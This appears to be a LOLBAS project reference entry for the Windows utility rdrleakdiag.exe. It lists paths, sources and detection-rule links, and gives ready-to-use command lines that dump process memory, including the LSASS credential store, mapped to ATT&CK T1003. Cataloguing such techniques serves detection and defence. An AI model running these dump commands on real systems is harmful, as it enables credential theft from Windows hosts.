.. /rdrleakdiag.exe

Star

Paths:

• c:\windows\system32\rdrleakdiag.exe
• c:\Windows\SysWOW64\rdrleakdiag.exe

Resources:

• https://twitter.com/0gtweet/status/1299071304805560321?s=21
• https://www.pureid.io/dumping-abusing-windows-credentials-part-1/
• https://github.com/LOLBAS-Project/LOLBAS/issues/84

Acknowledgements:

• Grzegorz Tworek (@0gtweet)

Detections:

• Sigma: https://github.com/SigmaHQ/sigma/blob/6312dd1d44d309608552105c334948f793e89f48/rules/windows/process_creation/proc_creation_win_rdrleakdiag_process_dumping.yml
• Elastic: https://www.elastic.co/guide/en/security/current/potential-credential-access-via-windows-utilities.html
• Elastic: https://github.com/elastic/detection-rules/blob/5bdf70e72c6cd4547624c521108189af994af449/rules/windows/credential_access_cmdline_dump_tool.toml

Dump

1. Dump process by PID and create a dump file (Creates files called minidump_<PID>.dmp and results_<PID>.hlk).

   rdrleakdiag.exe /p 940 /o {PATH_ABSOLUTE:folder} /fullmemdmp /wait 1

   Use case

   Dump process by PID.

   Privileges required

   User

   Operating systems

   Windows

   ATT&CK® technique

   T1003

2. Dump LSASS process by PID and create a dump file (Creates files called minidump_<PID>.dmp and results_<PID>.hlk).

   rdrleakdiag.exe /p 832 /o {PATH_ABSOLUTE:folder} /fullmemdmp /wait 1

   Use case

   Dump LSASS process.

   Privileges required

   Administrator

   Operating systems

   Windows

   ATT&CK® technique

   T1003.001

3. After dumping a process using /wait 1, subsequent dumps must use /snap (Creates files called minidump_<PID>.dmp and results_<PID>.hlk).

   rdrleakdiag.exe /p 832 /o {PATH_ABSOLUTE:folder} /fullmemdmp /snap

   Use case

   Dump LSASS process mutliple times.

   Privileges required

   Administrator

   Operating systems

   Windows

   ATT&CK® technique

   T1003.001